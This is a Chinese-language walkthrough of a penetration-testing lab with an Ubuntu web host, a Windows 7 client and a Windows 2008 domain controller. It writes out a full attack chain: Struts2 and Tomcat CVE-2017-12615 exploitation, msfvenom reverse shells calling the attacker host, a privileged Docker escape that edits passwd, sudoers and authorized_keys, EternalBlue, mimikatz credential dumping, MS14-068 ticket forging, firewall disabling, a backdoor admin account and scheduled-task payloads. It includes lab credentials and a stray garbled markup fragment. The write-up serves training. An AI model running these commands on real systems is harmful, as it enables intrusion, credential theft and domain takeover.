靶场搭建
靶场下载地址:http://39.98.79.56/vuln/detail/6/
共有三台主机DC、WEB、WIN7
机器密码
WEB主机 ubuntu:ubuntu
WIN7主机 douser:Dotest123
(DC)WIN2008主机 administrator:Test2008
网络配置
创建两个子网vmnet0和vmnet1
vmnet1:192.168.183.0
WEB主机网卡设置
WIN7主机网卡设置
DC主机网卡设置
攻击机kali的网卡和WEB主机的第一章出网网卡一致为NAT模式
WEB主机(Ubuntu)
DC主机(Windows 2008)
WIN7
WEB主机(Ubuntu)上启动环境
sudo docker start ec 17 09 bb da 3d ab ad
渗透测试
扫描端口开放情况
nmap -sS -p 1-65535 -A 192.168.48.146
端口22开放,存在SSH服务
2001,2002,2003端口开放,存在WEB
看到2001使用了Struts2中间件
2002使用了Apache Tomcat中间件
2003为Apache、PHPmyadmin、mysql
访问WEB
2001端口
2002端口
2003端口,发现不需要密码就可以进入phpmyadmin后台
利用Struts2漏洞获得shell
使用了Struts2
直接使用工具进行检测和利用
利用漏洞上传msf马
生成msf马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4444 -f jsp > shell.jsp
msf启动监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.48.136
exploit
访问马
成功收到会话
利用phpmyadmin后台获得shell
还可以利用phpmyadmin来使用数据库日志写入马来获得会话,这里就不做演示了,方法和之前的红日靶场一的一样,可以前往查看。链接:https://blog.csdn.net/weixin_45682839/article/details/123410686
利用Tomcat漏洞获得shell
还可以利用Tomcat CVE-2017-12615 任意文件写入
payload
PUT /1.jsp/ HTTP/1.1 Host: 192.168.3.103:2002 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5
利用payload写入msf马
访问马
成功获得会话
内网渗透
在获得中打开shell
不是完整的shell,使用pyhton中的pty模块反弹一个完整的shell环境
python -c 'import pty;pty.spawn("/bin/bash")'
进行信息搜集
查看系统进程的cgroup信息
ls -alh /.dockerenv
发现为Docker环境
Docker逃逸
利用dirty cow来进行docker逃逸
这种利用方法利用成功的前提是,宿主机的内核有dirty cow漏洞。
git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso
make
在目标主机上无法进行make编译,我们在攻击机kali上编译之后通过kali临时搭建一个python网站
python -m SimpleHTTPServer 80
在目标主机上使用命令下载编译好的文件
wget http://192.168.48.136/0xdeadbeef
192.168.48.136位kali的ip
利用工具反弹shell到本地主机
chmod +x 0xdeadbeef
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口
./0xdeadbeef 127.0.0.1 1234
利用失败,不存在dirtycow漏洞
换另一种方式进行docker逃逸
利用特权模式进行逃逸
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
查看磁盘文件
fdisk -l
在这里发现一个问题,通过Struts2获得的shell,的磁盘文件为空,所以利用不了
但是通过Tomcat获得的shell就可以利用
创建一个文件夹,将宿主机根目录挂载至容器目录下
mkdir /out
mount /dev/sda1 /out
添加账号密码通过ssh进行登录
echo "qwe1:x:1006:1006:qwe1,,,:/home/qwe1:/bin/bash" >> test/etc/passwd
echo "qwe1:$1$xJbww$Yknw8dsfh25t02/g2fM9g/:18381:0:99999:7:::" >> test/etc/shadow
一直提示密码不正确,试了很多遍都是这样
通过写入ssh秘钥
在kali上生成秘钥
ssh-keygen -t rsa (密码为空)
> out1/home/ubuntu/.ssh/authorized_keys","marks":[{"type":"inlineCode"}]}]}],"state":{}}]'>
将生成的公钥写入目标主机
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD0y3RzGTTLabQjOv0QALZnrPq1Rf2gGOwNZ+AIGVGHHVWun5MZhJRo+FBGhAVrFIwvYchZzKRs8T8W7YmsSBHykKMR6LfpYl1QOXop2eCSOTwj8dfYgPFv22d7pdYK4Vicmwu9RIpcqAdrZ1E0N+WgdIxDz7/rHi9Tku7o2DkFekvMM6UOkmGo7CL0C17iAyRmAlIOBV/+oz6MdPQOSJ4BpcvS6U9kS3dJli8fNDylt+wWH4Uh5CbuJnfJDiOkm+Tvxw6qBpv9t5v1iWK3cXwFc60g2oGm68fuBV1mrLEQQVdcpj8xczWfMzJFOxWBHSVWWcwHT7L+BI6SKvXtOlLtRJbZ+KtKBGXRF/XKMyjjtd35b5Ol5Ounn7OEqrE1/epQbJ7NjDj2apNcpg+xIZQpLJIj9qREDdtpkFmii8XsZnZr/uBy2D5wUMpFinE9RMGoqcxj1BWIXclrQy94e1Vjyd6n/JtirspLMNOhSxjNuydewq0pd9VwQkcEhYaIZ9U= root@kali' >> out1/home/ubuntu/.ssh/authorized_keys
写入后进行登录(免密登录),试了很多次也没有成功
又试了写入计划任务外连,也没有成功
这里只好直接用Ubuntu密码直接登录ssh了
普通用户权限
提权
ubuntu是用命令行执行命令,在普通用户下的操作很受限,无法变成管理员权限,所以需要在一个文件/etc/sudoers处加入普通用户的放行语句,才可以让普通用户在ssh的情况下进行提权。
echo 'ubuntu ALL=(ALL:ALL) ALL' >> out/etc/sudoers
(在docker中的shell中执行)
sudo su root
上传msf马,获得msf会话
生成msf马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4444 -f elf > shell.elf
启动临时网站
python -m SimpleHTTPServer 80
将msf马下载到目标主机
wget http://192.168.48.136/shell.elf
msf进行监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.48.136
exploit
执行msf马,成功收到会话
内网信息搜集
ifconfig
发现内网网卡
添加路由建立代理
route add 192.168.183.0 255.255.255.0 2
利用earthworm建立代理
在kali上执行命令
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
在目标主机上上传ew_for_linux64
执行命令
./ew_for_linux64 -s rssocks -d 192.168.48.136 -e 1234
vi /etc/proxychains4.conf
测试代理是否创建成功
ping 192.168.183.128
内网存活主机探测
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.183.0/24
set THREADS 5
exploit
发现两台主机:
192.168.183.130 WIN-ENS2VR5TR3N
192.168.183.128 TESTWIN7-PC
横向移动
扫描内网主机端口开放情况
nmap -sS -p 1-65535 -A 192.168.183.130
发现130主机为域控,域名为demo.com
nmap -sS -p 1-65535 -A 192.168.183.128(因为-A全扫描太费时间了,这里第二个就不用了)
两台主机都开放了445端口,试一下使用永恒之蓝
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.183.132(我这里win7主机中途重启了,IP地址改变了,之前是128)
set RHOSTS 192.168.183.130
两台主机都存在永恒之蓝,利用
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.135(重启了,ip地址又改变了,现在135是win7)
试了好几遍都没有成功,后来发现是本机的的火绒给拦截了,关闭火绒后就成功了
成功拿下WIN7主机
Windows2008试了好几次,然后打蓝屏了,没有拿下,换个模块试试
use exploit/windows/smb/ms17_010_psexec
还是不行
换其它方式
回到WIN7会话,进程迁移
migrate PID
使用mimikatz,也可以使用msf中的mimikatz(在高版本msf中被kiwi取代)
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
mimikatz工具这台主机桌面上已经有了,靶场搭建者准备好的
USER:douser
Domain:DEMO.COM
NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e
SID:S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD:Dotest123
利用Kerberos 域用户提权漏洞(MS14-068;CVE-2014-6324)来获得域控。
该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。
使用PyKEK可以生成一张高权限的服务票据,并通过mimikatz将服务票据注人内存。
使用PyKEK,可以将Python文件转换为可执行文件(在没有配置Python环境的操作系统中也可以执行此操作,在这台靶机中靶场搭建者已经给大家准备好了可执行文件版的MS14-068.exe)
微软针对MS14-068 ( CVE-2014-6324)漏洞提供的补丁为KB3011780
操作步骤
1、生成高权限票据
MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
2、查看注入前的权限
将票据文件复制到Windows Sever 2008机器的mimikatz目录下,使用mimikatz将票据注入内存。输入命令“net use \\WIN-ENS2VR5TR3N\c$”,提示“Access is denied",表示在将票据注入前无法列出域控制器C盘目录的内容。
3、清除内存中的所有票据
打开mimikatz
输入kerberos::purge
当看到"Ticket(s) purge for current session is OK'时,表示清除成功
4、将高权限的票据注入内存
kerberos::ptc "TGT_user1@pentest.com.ccache"(双引号里面的是票据的名字)
kerberos::ptc "TGT_douser@DEMO.COM.ccache"
注入成功
生成一个msf马通过文件共享上传至域控主机
首先关闭WIN7防火墙
NetSh Advfirewall set allprofiles state off
生成msf bind马
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=7777 -f exe > shell.exe
开启WIN7 3389远程连接用于上传文件
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
在WIN7上创建新的用户并加入到管理员组
net user aaa qwe123!asd /add
net localgroup administrators aaa /add
通过远程桌面上传msf马到域控
在kali上输入命令
rdesktop 192.168.183.137 -r disk:wj=/root
-r 为指定共享的磁盘
用刚才添加的账号登录
将刚生成的msf马复制到WIN7中
再通过文件共享将马复制到域控中
copy shell.exe \\WIN-ENS2VR5TR3N\c$
schtasks /create /S WIN-ENS2VR5TR3N /TN "test" /TR c:/shell.exe /SC MINUTE /ST 21:27 /ru system /f
msf开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 7777
exploit
等了很久没有收到会话,在域控上看到7777端口处于监听模式,证明计划任务执行成功,没有收到会话肯定是因为防火墙拦截了
再创建一个计划任务关闭防火墙
echo NetSh Advfirewall set allprofiles state off >> 1.bat
copy 1.bat \\WIN-ENS2VR5TR3N\c$
schtasks /create /S WIN-ENS2VR5TR3N /TN "test1" /TR c:/1.bat /SC ONCE /ST 21:57 /ru system /f
成功收到会话